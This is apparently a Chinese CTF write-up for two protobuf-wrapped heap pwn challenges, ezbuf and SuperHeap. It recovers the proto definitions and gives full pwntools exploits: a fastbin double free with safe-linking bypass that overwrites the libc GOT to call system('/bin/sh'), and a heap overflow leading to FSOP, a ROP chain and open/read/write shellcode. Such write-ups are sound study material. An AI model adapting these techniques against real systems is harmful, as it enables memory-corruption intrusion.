补一下国赛的(失误)题
什么?你问我VM 哦不 伟大的比赛 没见过这道题😂
ezbuf
比赛的时候唐了,没有做出来🤡
一道protobuf的协议题
有兴趣可以先复现去年的talkbot 前置知识在Protobuf Pwn学习利用 - 先知社区 (aliyun.com)等网站
这个函数里就是协议的加密处理了
在字符串列表可以找到一些关键字 与protobuf有关
正常情况可以通过pbtk直接编译出需要的proto文件 但是这道题同去年一样去符号表了
所以只能通过手动看(猜) 确定需要的参数
得到
syntax = "proto2";
package ctf;
message Heybro{
required bytes whatcon = 1;
required sint64 whattodo = 2;
required sint64 whatidx = 3;
required sint64 whatsize = 4;
required int32 whatsthis = 5;
}
分别对应进主要功能函数时的后五个参数,编译一下 脚本里就能用了
接下来就是常规的堆题了
malloc限制0x30
free限定最多9次
那么就通过fastbin doublefree
得到一个可任意分配的堆块
而地址的获取通过case3这个函数
地址里残存着libc地址 heap的地址也可以通过uaf获取
当delim的值为0xff时 会开沙盒 这是我们不想碰见的 因为出去就有个read
并且他还会关闭输出流和错误流
elf本身是full relro的
但观察到有strtok这个函数 他内部会调用libcgot中存在的函数
这种情况下我们可以改掉libcgot 从而在进这个函数的时候劫持程序执行流
from pwn import *
import base64
import ctf_pb2
r=remote('pwn.challenge.ctf.show',28272)
#r=process("./ezbuf")
elf=ELF("./ezbuf")
def debug():
gdb.attach(r)
pause()
#debug()
context.log_level='debug'
menu=b'AT DO YOU WANT?'
libc=elf.libc
s=0
def add(idx, msgcontent = b''):
global s
d = ctf_pb2.Heybro()
d.whatcon = msgcontent
d.whattodo = 1
d.whatidx = idx
d.whatsize = 0
d.whatsthis =0
strs = d.SerializeToString()
if s <=3:
r.sendafter(menu, strs)
else :
sleep(0.5)
r.send(strs)
def delete(idx):
d = ctf_pb2.Heybro()
d.whatcon = b''
d.whattodo = 2
d.whatidx = idx
d.whatsize = 0
d.whatsthis =0
strs = d.SerializeToString()
r.sendafter(menu, strs)
def delim(idx,size,sym,cnt):
global s
d = ctf_pb2.Heybro()
d.whatcon = cnt
d.whattodo = 3
d.whatidx = idx
d.whatsize = size
d.whatsthis =sym
strs = d.SerializeToString()
s+=1
if s <=3:
r.sendafter(menu, strs)
else :
sleep(0.5)
r.send(strs)
def none():
d = ctf_pb2.Heybro()
d.whatcon = b''
d.whattodo = 0
d.whatidx = 0
d.whatsize = 0
d.whatsthis =0
strs = d.SerializeToString()
sleep(0.05)
r.send(strs)
add(0,b'aaaaaaaa')
#残余libc
delim(0,0x28,11,b'')
r.recvuntil(b'Content:')
r.recvuntil(b'a'*8)
libc_base=u64(r.recv(6).ljust(8,b'\x00'))-96-(0x76deb301ac80-0x76deb2e00000)
print(hex(libc_base))
for i in range(1,7):
add(i,b'aaaaaaaa')
add(7,b'a')
add(8,b'a')
for i in range(7):
delete(i)
delete(7)
delete(8)
delete(7)
delim(0,0x28,11,b'')
r.recvuntil(b'Content:')
heap=(u64((r.recv(5)).ljust(8,b'\x00'))<<12)-0x2000
print(hex(heap))
for i in range(7):
add(i,b'aaaaaaaa')
#异或绕过
target=libc_base+0x21a058-0x8
target=p64((target)^((heap+0x4000)>>12))
add(7,target)
add(7,p64(0))
add(7,p64(0))
#分配到libcgot里
add(0,p64(libc_base+0x7a8f19028080-0x7a8f19000000)+p64(libc_base+libc.symbols['system']))
delim(0, 0x30, 0x30, b';/bin/sh\x00'*0x2)
r.interactive()
Superheap
套娃题,但没顾上做可惜,(该死的vm
go+base32+protobuf(有点难泵)+base64 极致套娃
复现的时候发现edit随便溢出 阳之后悔🤡
拿pbtk梭一下
syntax = "proto3";
package mypackage;
option go_package = "book_protobuf/mypackage";
message CTFBook {
string title = 1;
string author = 2;
string isbn = 3;
string publish_date = 4;
double price = 5;
int32 stock = 6;
}
然后edit的时候堆溢出,申请两本书,覆盖后一个的控制堆块,任意读写
fsop + orw
import bookProto_pb2
from pwn import *
p=remote( 'pwn.challenge.ctf.show',28249)
#p=process("./SuperHeap")
elf=ELF("./SuperHeap")
def debug():
gdb.attach(p)
pause()
#context.log_level='debug'
context.arch='amd64'
libc=elf.libc
def cmd(idx):
p.sendlineafter(b'r choice > ',str(idx))
def serialize_book(title, author, isbn, publish_date, price, stock):
d = bookProto_pb2.CTFBook()
d.title = base64.b64encode(title)
d.author = base64.b64encode(author)
d.isbn = base64.b64encode(isbn)
d.publish_date = base64.b64encode(publish_date)
d.price = price
d.stock = stock
return d.SerializeToString()
def add(idx, title, author, isbn, publish_date, price, stock):
cmd(1)
p.sendlineafter(b'ndex: ', str(idx))
serialized_data = serialize_book(title, author, isbn, publish_date, price, stock)
encoded_data = base64.b32encode(serialized_data)
p.sendlineafter(b'cial Data:', encoded_data)
def see(idx):
cmd(2)a
p.sendlineafter(b'ndex: ',str(idx))
def delete(idx):
cmd(3)
p.sendlineafter(b'ndex: ',str(idx))
def edit(idx, title, author, isbn, publish_date, price, stock) :
cmd(4)
p.sendlineafter(b'ndex: ', str(idx))
serialized_data = serialize_book(title, author, isbn, publish_date, price, stock)
encoded_data = base64.b32encode(serialized_data)
p.sendlineafter(b'cial Data:', encoded_data)
# 调用函数
add(0,b'a'*0x28,b'b'*0x28,b'c'*0x28,b'd'*0x28,10.1, 0x400)
add(1, b'1'*0x440, b'2'*0x400, b'3'*0x450, b'4'*0x400, 10.1, 0x400)
add(2, b'1'*0x440, b'2'*0x400, b'3'*0x450, b'4'*0x400, 10.1, 0x400)
edit(0,b'1'*0x38+p64(0x41)+p16(0x4344),b'2',b'3',b'4',1.11,0x200)
edit(0,b'a',b'b',b'c',b'c'*0x40 ,66,66)
see(0)
p.recvuntil(b'c'*0x40)
heap=u64(p.recv(6).ljust(8,b'\x00'))
print('heap--->',hex(heap))
edit(0,b'a',b'b',b'c',b'c'*0x38+p64(0x41)+p64(heap+0x10d0) ,66,66)
delete(2)
see(1)
p.recvuntil(b'Title: ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-(0x76f412c1ace0-0x76f412a00000)
print(hex(libc_base))
edit(0,b'a',b'b',b'c',b'c'*0x38+p64(0x41)+p64(heap)+p64(libc.sym['_IO_list_all']+libc_base) ,66,66)
setcontext=libc_base+libc.symbols['setcontext']+61
rsi=0x000000000002be51+libc_base
rdi=0x000000000002a3e5+libc_base
rdx=0x000000000011f2e7+libc_base
magic_gadget = libc_base+0x0000000000167420
lock = libc_base+(0x752e5ea1ca60-0x752e5e800000)
orw_addr = heap + 0xe0 + 0xe8 + 0x70
wfile = libc_base + libc.sym['_IO_wfile_jumps']
io_all = libc_base + libc.sym['_IO_list_all']
pl=p32(0)+p32(0)+p64(orw_addr)+p64(0)+p64(0)+p64(0)+p64(io_all-0x20)
pl+=p64(0)*3 #2e0
pl+=p64(orw_addr)
pl+=p64(0)*7
pl+=p64(lock) #_lock
pl+=p64(0)*2
pl+=p64(heap +0xe0)
pl+=p64(0)*6
pl+=p64(wfile)
pl+=p64(0)*0x1c
pl+=p64(heap + 0xe0+ 0xe8)
pl+=p64(0)*0xd
pl+=p64(magic_gadget)
pl+=flat({
0:'./flag',
0x20:p64(setcontext),
0xa0:p64(orw_addr+0xb8),
0xa8:p64(rdi),
0xb8:p64(orw_addr),
0xc0:p64(rsi),
0xc8:p64(0x8000),
0xd0:p64(rdx),
0xd8:p64(7),
0xe8:p64(rdi),
0xf0:p64(heap&0xfffffffff000),
0xf8:p64(libc_base+libc.symbols['mprotect']),
0x100:p64(orw_addr+0x108)
},filler=b'\x00')
pl+=asm(shellcraft.open('./flag'))
pl+=asm(shellcraft.read(3,heap+0x2000,0x50))
pl+=asm(shellcraft.write(1,heap+0x2000,0x50))
edit(1,pl,p64(heap),b'a',b'b',66,66)
#debug()
cmd(6)
#
p.interactive()